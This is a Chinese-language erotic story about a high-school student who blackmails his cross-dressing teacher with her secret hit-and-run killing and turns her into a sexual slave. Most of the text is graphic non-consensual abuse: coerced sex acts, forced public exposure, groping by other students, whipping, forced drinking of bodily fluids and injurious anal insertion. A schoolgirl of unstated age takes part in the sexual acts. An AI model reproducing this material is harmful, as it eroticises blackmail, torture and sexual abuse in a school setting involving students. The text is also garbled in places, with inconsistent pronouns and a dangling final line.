图片载入中

奴役变装女教师

特大字】 【大字】 【中字】 【小字

奴役变装女教师

阿强是松山高一甲班的学生,18岁的他人高马大,是松山中学最令人讨厌和畏惧的流氓学生。

今天被国文老师罚出教室,站在校园的操场里已经30多分锺了。

“哈…”阿强搓着几乎冻僵的双手,心里暗暗发狠︰“小婊子,我早晚要惩罚你的。”

张雅琪,24岁,绝对的魔鬼身材,漂亮得令男生无法安心上课,令女生嫉妒得夜不能寐。

父亲是本市议员和最大的商号的总裁,只有这么一个儿子,而雅琪却喜欢穿女装扮成女人,疼爱他的父亲,无可奈何下,也只好看着他的儿子以女人的打扮,过着女人的生活。

她研究所毕业后,父母舍不得她在台中任职,硬是让她回来在台北市学校工作。凭她的研究所文凭,在台北市任国文教师是绰绰有余。

突然来了这么一位美若天仙的女同事,县中的老中青男士们都心中有鬼。

可是雅琪有地位、有钱、有文凭、有美貌,什么也不缺,男同事们不管有怎样的心思,也奈何不得雅琪。

听说她男朋友是大学同学、在台北行政院任高官。

阿强虽然想报复老师,可是他也担心国文老师的有势力的家庭和传说中的高官男友。所以一直没有报复的机会。

可是国文老师却越来越严厉地一再惩罚他,阿强简直就像被国文老师拴住了牛鼻子一样,满腹火气无法发泄,到头来还是不得不接受国文老师的惩罚。

平日里受过阿强欺负的同学都在暗地里高兴,阿强实在毫无办法。

阿强父母早已去世,只有一个叔叔在雅琪父亲的商号里担任要职,也是雅琪父亲的老友。

今天公司要派他去国外常驻,他不放心侄儿,就托付给了雅琪的父亲。

“你放心去吧,我今晚就把阿强接来我家里住,雅琪也可以辅导他。”

“谢谢,谢谢总裁,总裁一直对我这么好,我一定忠心报效!”

“好好,放心去吧。”

当晚阿强被接到一所豪宅门口。一个女佣开了门,把阿强领到客厅。

“啊!老…师?”

“咦?!怎么是你?”

“哦,雅琪呀,这就是我常跟你说的李叔叔的侄儿。”

“哼,李鑫强,没想到是你来,不过看在李叔叔的面子上,你就住下来吧。以后不管是学校还是家里,我都要严格地管束你,不听话的话,严惩不怠。”

“是、是。”阿强自叹倒楣。

“雅琪呀,不要太严厉了嘛,你要把他当弟弟一样看待。”

“那要看他的表现了。”雅琪说完迳自上楼回闺房了。

“阿强呀,不要太紧张,雅琪不会对你太狠的。不过,好好上学也是应该的呀。”

“嗯,我知道了。”

女佣把阿强带到楼上,安排住在雅琪的隔壁。

阿强躺在床上,心里别提多气恼了。

吃过了晚饭,雅琪上楼了。

阿强觉得与温伯伯坐在一起看电视也不自在,便也上楼了。

他走到浴室旁,隐约看到里面有人在洗澡。

“一定是老师,要是能看一眼那可真过瘾!”想到这,阿强的男根就已经硬了起来。他急忙跑回自己的房间打手枪。

“嗯?阳台是与老师的房间连通的,我去看看。”

阿强忍不住,就蹑手蹑脚地从阳台潜入老师的闺房,躲在窗帘后面。

刚巧雅琪进来了,刚刚浴后,如出水芙蓉,肌肤白嫩,乳房肥硕,屁股滚圆,细腰婀娜。

一丛淡淡的阴毛里闪现一条亮晶晶的鲜红阴茎,两粒睾丸如红樱桃熟透了一般,点缀在软软摇晃着的阴茎下。

“太美的人妖了!啊!憋不住了!”阿强在帘子后面还没打手枪呢,就已喷泄出来了。

阿强挺到雅琪写完日记,上床熄灯,这才悄悄回到自己的卧室,赶紧去浴室洗了个澡。

阿强再也睡不着了,雅琪丰满性感的肉体给阿强的刺激太大了。

阿强不知不觉地又爬起来,从阳台潜入雅琪闺房,跪在雅琪床边欣赏美丽的裸体。

雅琪一翻身,阿强吓得吱熘钻进床下。

这时雅琪突然醒了,开了灯,去洗手间放尿。

藉着灯光,阿强发现床下有一个小箱子,轻轻打开箱子,里面是一摞日记簿。

阿强随意翻看︰无非是少女的心思等等而已。

雅琪直到现在竟然还没肛交过?真不容易。

果然男友在台北任高官;咦?这一篇是什么?

今天我很痛苦和恐惧!在从台北回来的路上,几乎没有其他车子,我要求开一会儿,尽管我还没有驾照,疼爱我的爸爸还是同意我开一会儿,爸爸就坐在我身边。

开了好一会儿,感觉好爽,不由得加大了油门。

突然,前方出现一个小女孩,我慌了,竟然一下子撞到那女孩身上,我当时已经停止思维了,只是一个劲地飞速开车……

后来从报道中得知女孩当场死亡,竟然没有人看到肇事车。爸爸告诫我严守秘密。

后来得知那女孩的唯一亲人是李叔叔,爸爸就千方百计地把李叔叔招聘过来,又重用提拔,使李叔叔感恩不尽,爸爸也略尽抚恤之心……”

阿强看到这,不由得怒火中烧︰“原来是你撞死了我的堂妹,那年她才7岁呀!”阿强忍着悲愤,悄悄回到房里,躺在床上苦苦思衬,终于想出了一条完整的报复计划。

第二天是休息日。阿强穿好衣服后就来到老师房门前。

“笃笃笃……”

“谁呀?”

“老师,我可以进来吗?”

“啊…阿强呀,进…噢不…请等一会儿。”雅琪还懒在被窝里,慌乱地找衣服。

“老师。”

“啊!你…怎么进来了?”

“不是你让我进来的吗?”阿强诡秘地辩解,故意没有听到雅琪的后半句。

“我…”雅琪红着脸,慌忙用棉被裹住赤裸的躯体︰“你、你先出去。”

“不。老师,我实在太难受了,不能出去,需要马上解决。”

“啊?什么?你怎么了?病了吗?”雅琪没太听懂阿强的话,以为他病了,身体感到不舒服。

“我没病,不过很难受,只有老师能治好我。”阿强的脸上掠过一丝不易察觉的诡笑。

“我?你哪不舒服?”雅琪莫名其妙。

“这里,就是这里很难受,我的那个东西很硬,涨得我很痛。”

“啊!你!”雅琪羞愤得连白白的脖颈都红透了,“你无耻!滚!快滚!”雅琪大声吼着。

“老师,我有做错什么事吗?”阿强故意露出天真恐惧的表情。

“啊?”雅琪顿时也有些煳涂了︰“难道他真是小孩子不懂这些事吗?”

“老师?”阿强怯生生地凑近雅琪床前。

“不,不要过来。”雅琪有些疑虑︰“老师告诉你,这种时候你去活动一下就会好的。”

“我不要活动,我要老师帮我治好。”

“我,我不能呀!”雅琪有些羞愧,慌乱地不敢与阿强对视。她感到阿强的眼神不像天真的孩子,到像是色狼。

“老师,我有个问题。”

“什么问题?”

“我妹妹5年前被车撞死了,你知道凶手是谁吗?”

“啊!”看着阿强露出的凶狠目光,雅琪犹如被雷电击中一般,顿时呆若木鸡。

“老师、老师,你怎么啦?”阿强把雅琪从恍惚中晃醒。

“阿强,你知道是谁吗?”雅琪紧张地追问。

“我什么都知道。”阿强以一种坚定而阴沈的语调缓慢地回答。

“啊…”雅琪再次晕倒在床上。

“老师,老师,醒一醒。”阿强没有马上掀掉雅琪的被子进行猥亵,而是又一次摇醒雅琪。

“老师,你如果不能治好我的痛苦的话,我就走了,我要跟叔叔谈一谈。”阿强语气中含有明显的威胁。

“不,你不要,求求你了。”雅琪脸色苍白,无力地哀求阿强。

“老师,我这里好痛苦呦!”

“我、我…”雅琪又羞又怕,露出无助的慌乱神情。

阿强看到这个样子的老师,下腹部更加热涨。

“我给你治…你过来。”雅琪无奈,想要用手给阿强打手枪。

阿强却退后坐到**上去了︰“老师,我站不住了,你过来吧。”阿强知道威慑已经起作用,故意要羞辱雅琪。

“我…我没有衣服呀。”

“我说过让你穿衣服吗?”

“我…”雅琪不得不在自己的学生面前,掀开被子。她用双手掩住密处,却使一对丰满的乳房暴露无余。

“你给我爬过来,向狗一样爬过来。”阿强强硬地命令道。

“你…我…”雅琪内心万分屈辱,泪水已经盈眶了,可是她不得不爬过去……

雅琪只好趴在地上,慢慢爬到阿强裆前,用漂亮的一双玉手,颤抖着解开阿强的裤门,掏出比一般成年人还要粗大的男根,轻轻揉搓着。

“不许用手。”

“那?那用什么?”雅琪疑惑地望着阿强。

阿强用手指轻轻地抚摸着雅琪那湿润性感的双唇。

雅琪明白了,两行耻辱的泪水再也忍不住了,就是自己的男朋友的肉棒也没有含过呀!可是,现在,雅琪不得不羞辱地含进学生的肉棒。

自己像什么?赤条条,在闺房里,含着学生的肉棒?

“从今天起,你要发誓做我的奴隶。”

“是、是。”

“以后你要叫我…主人。”

“是,主人。”

“以后,主人的命令你必须马上执行,不许有任何疑虑,否则你要主动请求主人的惩罚。”

“是,主人。”

“你为主人服务的技巧看来还很差,我要逐步训练你。”

“是,主人。”雅琪低声下气地一概答应了,这反而出乎阿强的意料。

“没想到这么容易!”阿强哪里知道这秘密对雅琪有多大压力。

一旦秘密泄露,雅琪作为肇事至人死亡的直接责任人,父亲作为监护人,纵容凶手逃逸,都将被判重刑甚至死刑,赔款将是巨额的。

一旦秘密泄露,就意味着雅琪目前这豪华世家的灭亡。雅琪绝无能力抗拒这压力。

“你要认真地舔、用力地吸。”

“是,主人。”

雅琪目前的思维完全崩溃,如木偶一般任凭阿强摆布。

她仔细地舔弄阿强的大龟头。心中还暗自吃惊︰“18岁的少年,竟然有这么大的肉棒!”足有鸡蛋那么粗、七八寸长,雅琪的两只玉手都不能完全握住。

雅琪的裸体在阿强裆前蠕动着。“吱噜、吱噜”的吮吸声如此淫靡地回荡在香气袭人的闺房里。

“这男根的味道好怪?咸咸的、有些腥,想起来那么心,可含在嘴里竟然不那么难受,甚至有些好吃!哎呀!羞死人了!我不应该有这种淫荡的念头。”

尽管雅琪极力想克制自己,可是年轻的肉体毕竟还是有反应︰唿吸加快、龟头湿润、体温上升。

“怎么样?好吃吗?”阿强轻佻地抚摸着雅琪的秀发。

“好…吃。”雅琪羞愧地小声回答。连她自己都惊讶如此的回答。

“想要我插你吗?”

“噢、不,不要。”雅琪慌忙拒绝。

“不要?让我检查一下你的阴茎。”

“不不,太羞耻了!”

“嗯?不要忘了你只是个奴隶,你可以拒绝主人吗?”阿强威严地申斥道。

“啊!”雅琪不得不分开双腿,让这个小男人、自己的学生,检查自己的阴茎。令人难堪的是包皮中已经精液氾滥了,阿强用中指轻轻地拨开鲜红的包皮,看见龟头已经勃起。

“哈哈,小人妖,还说不要,你的阴茎已经诚实地说明了一切。”

“我…我…快别说了,羞死人了。”雅琪羞辱得浑身发抖。

“哈哈哈哈”小人妖,我今天先不插你,快帮我吸吧。

“是,主人。”雅琪羞愧难当,赶紧把一张粉脸完全埋进阿强裆里,把一根又粗又长的大肉棒完全含进嘴里,龟头已经戳到咽喉了。

“啊…啊…”阿强也是第一次品味到插入美女咽喉的特殊快感。那真是美妙极了!

阿强不自主地按紧雅琪的头,直把肉棒插进喉咙深处的食道里,细窄的喉咙和食管紧紧裹住肉棒,温热的快感从龟头传导到阿强全身,阿强痉挛一般抓住雅琪的秀发、疯狂地摇晃,在雅琪喉咙里抽插。

雅琪几乎无法喘气,憋得脸色通红。

“啊!啊!啊!”阿强终于喷射了。大量的精液直接灌入雅琪的食管,雅琪几乎要呕吐出来。在阿强逼迫下,艰难地咽进肚里。

“好!很好!奴隶,以后你要经常用喉咙为主人服务。”阿强心满意足。

“是,主人。”泪流满面的雅琪赤条条地瘫软在地板上。

“为了表示你的奴隶身份,我命令你马上把阴毛刮干净。”

“我……”

“嗯?”

“是,主人。”雅琪屈辱地爬起来,赤裸着去洗手间取来剃须刀和镜子,就这样坐在学生面前自己剃光了阴毛。

看着光光的阴部,以往很有自尊的雅琪老师的内心好像有了一些微妙的变化。

“嗯,很好!周一早晨你要主动到我房间来,报告你的内裤颜色。”

“是,主人。”

阿强走了。雅琪困难地爬上床,有些痴呆地望着天花板。

“我…我该怎么办呢?报警?不能呀。告诉父亲?他也无法呀?这…这…为了保全父亲和这个家,我只有献身了。也算是偿还孽债吧。”

雅琪痛苦地下定了决心,便昏昏沈沈地睡了。

在噩梦里,她果真成为了阿强的奴隶,受尽了折磨。

她是那么无助、那么脆弱……

昨晚阿强睡得特别香,因为睡前是雅琪赤裸着为阿强洗澡,顺便又仔细吸了阿强的大肉棒,雅琪的口交技巧进步得很快,才第三次,就令阿强飘飘欲仙。

“啊,今天天气很好。”阿强慵懒地睁开惺忪的双眼,看到窗外初冬的明亮的阳光。

“笃笃笃,主人,我可以进来吗?”门外传来雅琪低低的问询。

“进来吧。”阿强没有起来。

雅琪蹑手蹑脚地进来后,把门小心地关上,她怕楼下的父母知道内情。然后她走到阿强床前,撩开短裙,露出白色蕾丝内裤。

雅琪经过两天的彻底思考,权衡再三,悲哀地决定服从阿强,她已经开始学得乖巧了。

阿强躺在床上,伸出右手,猥亵地抚摸着雅琪老师的屁股。

雅琪感到无比羞耻,可她不得不站在这里听任自己学生的侮辱。

阿强的手指渐渐探进内裤里面,雅琪浑身颤栗,她感觉得到阿强的手指正在她年轻而敏感的阴茎上滑动,令人惭愧的精液根本不听雅琪的控制,很快就溢出了龟头。

“哈哈,老师好像很好色嘛!才摸一摸就湿成这个样子了。”

“不,不,快别说了,求求你了,真是羞死人了!”雅琪被说中心思,顿时红了脸。

的确,尽管雅琪是被迫的,思想上是反感的,可是充满青春活力的肉体是诚实的,雅琪的腰在不自觉地追逐着阿强的手指,一阵阵的麻痹袭遍全身。

阿强慢慢脱下蕾丝内裤,美丽的大腿和丰满的屁股逐渐显露出来,雅琪被巨大的羞辱压迫着,想逃避,又不敢拒绝阿强。

就在这样的矛盾中,被阿强扒光了内裤。

“好漂亮的阴茎,这龟头红艳艳的这么肿大,你天生就是个淫荡的人妖。”

阿强玩弄着老师的阴茎,不时用手指挑逗已经勃起的龟头,每次碰触都像电击一样,令雅琪颤抖。

精液已经氾滥了,顺着白生生的大腿往下流。

雅琪几乎无法站立,咬着牙坚持着。

“主人,让我吮吸您的肉棒吧!”雅琪竟然主动要求吹箫,连她自己都觉得太羞耻了,可是内心好像有一种期望肉棒的强烈欲望。

“好吧,你把屁股冲着我,趴在我上面吸吧。”

雅琪爬上床,掀开阿强的被子,露出赤裸的躯体,肉棒早已直指天花板了。

雅琪趴在阿强身上,贪婪地把肉棒含进嘴里。

阿强一边享受雅琪的舔弄,一边玩弄雅琪的阴茎。

“啊!什么?”雅琪扭动屁股想躲避阿强的手。

原来阿强不知从哪拿出一些鹌鹑蛋一样小石卵,正在想要塞进雅琪的屁眼。

“不要动,继续吸。”

阿强的话说得很随便,可雅琪真的就不敢再躲避了。

阿强在雅琪的屁眼里塞进了十多个小石卵,在马眼里也塞进了十多个小石卵。

“你今天上班时不许穿内裤,塞进去的小石卵一个也不许掉出来,晚上我要检查。”

“啊!快!啊、啊!”阿强达到了高潮。

雅琪恋恋不舍地爬下床,用舌头把嘴边的精液仔细舔干净,还品味一番,这才下楼吃早餐。

没有穿内裤,感到屁眼凉丝丝的。

阴茎和屁眼里塞着那么多的小石卵,有些胀,把大腿夹紧,以免小石卵掉出来,故而走路有些怪怪的。

里面穿了一件白色超短裙,丰满的屁股的下半部几乎是暴露在外的,只要稍微低下头,差不多就可以看见裙内风光,外面穿了一件羊绒风衣。

阿强伴着老师走到离家不远的公车站,上班时间车站里人很多。

“把风衣脱了。”阿强低声命令道。

“啊!那…”雅琪没想到阿强用这种方式羞辱她。

“公车上有暖气,不必穿风衣的。”阿强露出威慑的目光。

“可是、可是我的裙子太短了呀!”雅琪一想到在这么多陌生人面前穿着露出屁股的超短裙,巨大的羞耻感立刻憋红了漂亮的脸。

“今天你的表现很差,我一定要惩罚你,第二节下课后到杂物室来。现在快脱!”阿强有些生气了。

雅琪无奈,只好脱下风衣,顿时吸引了所有等车人的目光。

“啊呀!那女的可真风骚呀!这么冷的天居然穿超短裙?!”

“里面没穿内裤,屁股都露出来了,一定是暴露狂。”

一些不良男人慢慢围拢了过来,用色迷迷的眼光舔遍雅琪全身。雅琪感到浑身发麻。

这时,阿强的手开始在雅琪丰满的屁股上摸弄,甚至撩起已经很短的裙子,完全暴露出滚圆的屁股。

“啊!”雅琪惊讶、羞愧得有些颤抖,可是阿强的摸弄的确给她带来一阵阵恼人的麻痹快感,尤其当众羞辱,反倒令雅琪体味到一种从未有过的异样愉悦。

“才只是摸一摸,就湿成这个样子!你真是天生的人妖。”阿强用手指蘸了一些雅琪的精液,凑到鼻子下闻︰“好香呀!”

“求求你,快别说了。”雅琪满脸羞红地央求阿强不要再羞辱她,可同时她的屁股却不自觉地追逐着阿强的手。

“那边有卖苹果的,去给我买一个来。”阿强在雅琪耳边轻声吩咐。雅琪只好在众目睽睽之下,扭动半裸的屁股去买苹果。

“给,主人。”

“我现在不吃,你先帮我收好。”

“嗯。”雅琪刚想把苹果放入包里,阿强却拦住了她,说︰“放在包里很凉的。”

“那放在哪里呀?”雅琪有些茫然。

“奴隶的屁眼不就是主人最好的贮藏室吗?”阿强露出淫亵的微笑。

“快一点,车就要来了。”

“我、我…”雅琪被突如其来的巨大羞辱,压迫的唿吸紊乱,神情凄惨︰“我…要我当众把苹果塞进屁眼里?

不仅要展示出密屁眼、还要塞进一只苹果?我…我实在做不到,我是名门千金,受人尊敬的教师,我…可我能抗拒阿强吗?我…我…”雅琪的思维几乎紊乱。

当阿强狠狠拍打了她的屁股几下时,她仿佛中了邪,身不由己地开始按阿强的话去做。

她叉开腿,撩起裙子,刮得光光的漂亮屁眼就赤裸裸地暴露在面前的一群陌生男人面前,男人们贪婪的目光像是要插入雅琪屁眼深处。

雅琪拿起苹果,抵到屁眼处,慢慢用力,已经湿润的屁眼撑开,蠕动着缠绕在苹果表面。

“用力,用力,进去了,进去了,加油!”围观的男人们像是在看足球赛。

“噗呲!”拳头大的鲜红苹果终于被雅琪自己塞进屁眼,屁眼闭合后还在不停地蠕动,像是渴望继续缠绕什么似的。

“好!真精彩!”

“这人妖真酷!”

“哇!我已经受不了了,小姐,让我把大肉棒也放进你那里去吧!”

“哈哈哈哈……”

在色狼们的戏耍声中,公车来了,雅琪几乎是被色狼们抱上车的。

孤立无助的雅琪此时连阿强也看不到了,一路上无法抗拒众多色狼的调戏和摸弄,数次达到射精,精液已经流满大腿了。

终于到了学校那一站,阿强不知从何处冒了出来,领着雅琪下了公车。雅琪去洗手间整理一下后,阿强把风衣给他穿上,若无其事地走进校园。

“不要忘了你应受的惩罚。”阿强诡秘地说完就和同学一起走了,雅琪还有些失神。呆立一会儿后,有同事走过来。

“张老师,不舒服吗?”

“噢!不不,没事。”雅琪慌乱地掩饰着。不得不努力夹紧马眼和屁眼里的东西,勉强跟同事一道走进办公室。

“你好像有些不适,怎么走路怪怪的?”

“哦,没事,没事,腰有些痛。”

“要注意身体呀。”

“是的,谢谢!”

雅琪上身换了职业装,但依然没有敢把内裤穿上,尽量用正常的步态向教室走去。

今天恰好是给阿强班上国文课,每当雅琪走过坐在最后一排的阿强的座位时,阿强都要摸弄她的屁股。

为了不使其他同学看出奥妙,雅琪不得不装出一副平时的微笑,而内心却在强忍着巨大的耻辱和令人麻痹的快感。

“站到讲台上,把粉笔弄掉在地上,然后把屁股朝向学生,慢慢捡起来。”阿强低声命令雅琪。

“我,我不能呀,那样屁股就露出来了。”雅琪十分难为情地低声哀求。

“啊!”雅琪几乎要叫起来,原来阿强使劲掐了一下雅琪大腿内侧的嫩肉。

“快去!”阿强的口气不容反驳,雅琪只好照办。

“我怎么会这么悲惨呀!在教室里,在学生面前,露出没穿内裤的屁股。这太羞耻了!”

雅琪的心在滴血,因为羞耻感而满面通红,浑身发抖,同时这种巨大羞辱也使雅琪感到愉快,好像她本来就期待如此一般。

“天呐,难道我天生淫贱吗?”雅琪自己也有些迷茫。

……

“哇!快看哪,老师没穿内裤!”

“好漂亮的屁股呀!多白呀!”

“像是鲜嫩的大白桃。”

雅琪弯腰捡粉笔的时候,超短裙是无法盖住硕大的屁股的,雅琪好像自暴自弃,索性故意高蹶并且扭动丰满诱人的大屁股,并从中获得野性原始的快感。

“老师很色的。”阿强跟旁边的同学议论,并且嘀咕着什么,那两个同学露出猥亵的笑容。

下课了,雅琪略显慌张地离开教室。走到电梯旁,身后只有两名男同学。进了电梯后也没有其他人,雅琪并没意识到危险的存在。

“老师,你真美!”

“你从不穿内裤吗?”

“啊,你们,你们怎么可以这么没有礼貌!”雅琪尽量克制自己的窘态,故作威严地训斥学生。

“老师上课时给我们看屁股,真性感!”

“老师,让我们摸一摸吧!”

“胡说!怎么可以这样。”雅琪愤怒地大声训斥。

一个学生显得有些慌神,另一个却色胆包天,突然一下把老师的超短裙捋了上来,雅琪腰部以下顿时赤裸。

两个学生的四只手,恣意地在雅琪的屁股和阴茎乱摸。

雅琪根本无法制止这种公然的侮辱,只能乱叫,并不断哀求︰“不要,不要呀……”

正在乱时,电梯到了底层,门开了,两个学生立即规规矩矩地站好了,而雅琪的下身还赤裸着呢。

“啊!”电梯外面的人群看见雅琪如此淫靡,发出惊叫。

“啊…”雅琪没有防备电梯开门,突然暴露在同事同学面前,感到更加羞辱,一时竟然不知所措,就这么赤裸着下身呆在电梯口。

“老师,我帮你整理裙子吧。”

刚才还乱摸老师的同学,此时装出一副正经模样,把雅琪的裙子放下来。然后搀着呆若木鸡的雅琪走下电梯。

“真无耻!”

“暴露狂!怎么能在这么小的男同学面前如此非礼!”

“没想到张雅琪是色情狂?”

人们议论纷纷,而雅琪是有口难言。只能含羞忍辱。

雅琪忐忑不安地来到了位于楼内一角的杂物室门前。门虚掩着,这里比较僻静,走廊里只是偶尔远远地瞥见一两个人影。

“笃笃……”

“请进。”一个男生的声音,低沈沈的。

雅琪推开门轻轻地走了进去。

室内很暗、很乱,还有一股霉味,雅琪心里不由得紧张起来。

“你知道要接受惩罚的,现在就检讨吧。”

雅琪努力想看清是谁在说话,可是却左右找不见人。

“怎么办?好像不是阿强?可是别人也不会知道我要来这儿的呀?”

雅琪心里犯疑,可又担心万一是阿强,自己如果不顺从的话,阿强又要严厉惩罚自己了。

“阿强的惩罚太残酷了,我真受不了。”

一想起阿强折磨自己时的情形,雅琪不禁便浑身颤栗,她把心一横,好像认命了,开始脱衣服。

“把眼睛闭上。”低沈的男声命令。雅琪只好闭上眼睛,赤裸着站在地板当中。

这时候,她突然感到双眼被上了眼罩,又有人把她的双臂扭到后面绑了起来。然后又绑阴茎,把阴茎高高箍起来,再后来,绳子穿过胯下,深深地勒入屁眼中。

最后,有人强行把雅琪的双腕使劲往上吊,雅琪被迫弯下腰。

这下雅琪可真够惨的︰赤身裸体被绑吊着,阴茎和屁眼被紧勒着,在自己任教的学校里,如此丑态,令雅琪羞愧得恨不能立刻死去。

“张老师,这样子舒服吗?”

“啊!?是你?”

一个女生解开了雅琪的眼罩,雅琪一看,原来是自己班里的班长栗莉。

“啊!”雅琪感到有一只手在猥亵地抚摸她的屁股,回头一看,顿时羞得浑身颤栗。

原来是同事李维宇,这个李维宇曾经狂热地追求过自己,可是雅琪根本就没看上他……

他长相猥琐,为人刻薄,对女孩子总是色迷迷的,今天却在这里看见自己这副淫靡丑态,还肆意侮辱自己的屁股,真是羞死人了。

“阿强?可是阿强在哪呢?”雅琪被绑在这儿,无法躲避这个男人的猥亵,也无法躲避自己学生的鄙夷目光。

“阿强没来,让我俩来执行对你的惩罚。”维宇戏虐地说着。

“老师,给你鞭子。”栗莉递给维宇一根皮鞭。

“张老师,你的屁股可真漂亮,这么丰满可爱的屁股我还真没玩过,今天得罪了。”说着就狠狠地抽了一鞭子,顿时在肥硕的屁股上留下一道血痕。

“啊!”雅琪痛苦地惨叫一声。

“不许叫,如果你再叫出声,每叫一声,就增加十鞭子。”维宇恶狠狠地警告雅琪。

“张老师,你为什么要接受惩罚呢?”栗莉故意羞辱雅琪。

“啪!”维宇的鞭子在撕咬着柔嫩的屁股︰“快回答。”

“我…我…我是阿强的奴隶,我没有很好地听从他的话。我错了,请狠狠地惩罚我吧,我以后再不敢违抗主人的命令了。”

雅琪痛苦地说出她自己都难以相信的屈辱的话。

皮鞭每抽一下,雅琪雪白的屁股就颤栗一下,剧烈的疼痛感侵袭着雅琪的思维,在痛苦之中似乎还有一丝丝的特别的快感。

“老师好淫荡呀,这种情形也会湿成这个样子!”栗莉的手指在雅琪的龟头上蘸起一滩精液。

“快不要说了,太羞耻了!”

雅琪的确感到羞耻,暗恨自己怎么如此下贱,难道血液中真的充满了奴隶的基因吗?年轻的肉体很快就发生了敏感的反应。

雅琪在痛苦的深渊里,逐渐体验到被虐待的快感,她的鼻息开始加重,不自觉地呻吟起来。

被绳子紧紧勒住的阴茎也开始滴下浓浓的精液,被禁锢的乳房胀得更高了,两粒鲜红的乳头硬挺挺地突起。

“栗莉,过来,给老师服务。”

“是,老师。”栗莉乖顺地马上跪在维宇裆前,熟练地掏出阳具,贪婪地吮吸舔弄起来。

“丝…啊…好舒服呀!”

“栗莉,拿杯子来,给张老师做些鸡尾酒喝。”

“嘻嘻,那最好了!”栗莉拿来一只高脚杯,把维宇的黄乎乎的精液接了半杯。

“栗莉,再给她尿些尿。”

“是。”栗莉毫无羞耻感地就地脱下裤子,当着维宇老师的面,把杯子对准嫩嫩的密穴,勉强挤出一些尿,刚好调成一杯。

这时维宇已经把雅琪解开了,揽在怀里玩弄她的阴茎呢。

雅琪不知道维宇与阿强的关系,不敢反抗,只好任凭维宇在自己学生面前恣意调笑淫弄。

“来,把这杯营养液喝了。”栗莉把杯递到雅琪面前,一股精液的腥味和尿液的骚味强烈地刺激着雅琪的鼻子。

“快喝!”维宇轻声地命令。但雅琪明显地感觉到了这命令的威严,不得不接过杯子,艰难地喝了下去。

“你知道吗?女人的肛门是男人很好的发泄工具,不过你的肛门现在还是太紧,我要慢慢调教它。”阿强抚摸着雅琪滚圆的屁股说着。

“主人,那会很痛吗?”雅琪有些担心地问道。

“不会太痛的,宝贝儿。来,把屁股蹶起来。”

雅琪趴下身子,努力高高蹶起肥大的屁股,双手还扳开两片臀肉,漂亮的菊花蕾展现在学生眼前。

阿强用指头蘸了一点唾液,轻轻地按压菊花蕾。

花蕾反射性地抽动,“哈哈,弹性很好。”阿强手指加力,插入屁眼,感觉到了令人陶醉的收缩。

“好了宝贝儿,我要插入这根粗木棒了,你要忍耐一些,不许叫出声来。”阿强说着,把一根一米多长的、拳头粗细的木棒的头对准雅琪的屁眼慢慢扭转。

木棒头上涂了一层猪油,比较润滑,尽管如此,对于雅琪那从未扩张过的肛门来说,也是太过粗大了。

阿强逐渐用力,“啊…啊…”雅琪咬紧嘴唇,她不仅感到巨大的羞耻,也感到娇嫩的屁眼像是要被撕裂一样。

粗大的木棒一寸一寸地插入肛门、插进直肠。

“啊…痛呀!主人、轻一些,求求您,停止吧。”雅琪明知乞求是毫无用处的,可是剧痛还是令她不断地乞求主人的开恩。

终于停止了,雅琪已是满身冷汗。

连她自己都难以相信,这么粗的木棒居然硬是插进了她娇嫩的屁眼,而且插入足有一尺长。

她能够感觉到肚子里有一根木棒,她甚至无法弯腰。

“哼哼,主人,你看我。”雅琪强挤出比哭还难看的笑脸,向阿强献媚。

“去拿绳子来。”

“是,主人。”雅琪想走,可是木棒太长,她无法站立,只好趴下,像狗一样爬。

屁眼里的木棒犹如狗尾巴,拖在地上。

“给,主人。”雅琪用嘴叼来绳子,阿强把雅琪双手绑在背后,两只乳房也绑起来,双腿绑成蹲姿,最后再把屁眼里的木棒绑住,然后把雅琪抱上闺房里的小圆桌,使她蹲在桌边,屁眼里的木棒刚好戳在地板上。

阿强把雅琪稍稍往后推了一下,雅琪的身体重心移到了屁眼上,完全靠木棒支撑,屁眼不得不死命缩紧夹住木棒,支撑身体,否则就可能从桌上跌下来。

捆绑着双手跌下来,那可不是轻松的事。

阿强然后又拿出一盒油膏,挖出一大块,涂抹在雅琪的阴茎、大腿内侧、屁股和肛门周围。

“这是什么?”雅琪感到凉丝丝的。

“哈哈,宝贝儿,你就这么蹲着吧,明天早晨再下来吧。”阿强得意地戏虐雅琪,但并没有告诉她涂的是什么。

“啊!主人,要我这么蹲一夜?!”雅琪吓得浑身冷战。

“你要乖乖地呦。”阿强说完就躺在雅琪的秀床上,悠闲地欣赏着痛苦的雅琪。

雅琪忍不住流出悲哀羞耻的泪珠,只好在自己闺房里这么羞耻地蹲着。

“啊…好难受!”木棒好像在一点一点地更加深入直肠,雅琪为了不跌下来,肛门的括约肌紧紧地夹住木棒︰“太粗了!太残酷了!”

“时间已过去好久,大概是半夜了吧?”

雅琪看着安睡的阿强,心理别提多凄凉了。

原本一个好好的家,自己是名门千金,受人尊敬的教师。

现在却突然要变成这个小男孩的奴隶,自己连一丁点的反抗余地都没有。这真是报应啊!

雅琪思绪万千,强打精神坚持着,两腿蹲得时间太久,好像已经失去感觉,只有屁眼还在下意思地紧紧收缩着。

“呵,感觉怪怪的?”雅琪的屁股、阴茎、大腿和屁眼有一种越来越骚痒的感觉。

“啊…啊,这是怎么了?这种感觉如此令人麻痹和羞耻?我,我怎么在这种难堪的情形下还会有这种感觉呢?难道我真是天生的淫妇吗?”

雅琪发现这种感觉好像与男朋友在一起依偎时的感觉相同,有些难受、有些期待,也有些快意。

“啊,越来越强烈了。”

雅琪不自觉地开始扭动屁股,深深地插入直肠的木棒的搅动又进一步撩起恼人的麻痹感。

“阴茎好痒呀!真想有人使劲套弄一下呀!哎呀!我怎么能有这种可耻的欲望?可是…真的想。”

“啊…啊…好难过呦。”

“呵…呵…热,我要…我想要。”

雅琪就这么眯眯瞪瞪、在波涛汹涌的性刺激折磨中苦熬了整整一宿。

当第二天阿强睁开眼睛时,雅琪已经进入痴呆的淫靡状态了︰口角上流着白沫,精液流得桌上一滩、地上一滩,屁股仍在反射性地扭动,嗓子里咕噜着母狗发情一样的淫声。

“哈哈!母狗,夜里的一定舒服死了吧?”

阿强起来,一边抚摸着雅琪的屁股,一边逗她。雅琪翻了翻白眼,继续扭动,没有答话。

阿强把雅琪抱到床上,解开绳子,雅琪立刻向是一堆没有骨头的肉团一样瘫软在床上,任凭阿强怎样推搡,毫无反应。

阿强把粗大的木棍慢慢拔出来,雅琪的屁眼由于整夜的撑胀,已经红肿,里面的菊花肉都翻出来了……

阿强用手指戳了戳屁眼,菊花蕾只是微微蠕动几下,仍然无法闭合。

“好好,很好,再弄几次,你这漂亮的屁眼就可以用了。”

阿强给雅琪盖上被,自己下楼吃早餐去了。周末这两天的休息日,雅琪看来是无法出门了。

已经放学有一会儿了,呆呆地在教室里独坐,阿强命令她放学后在此等候。

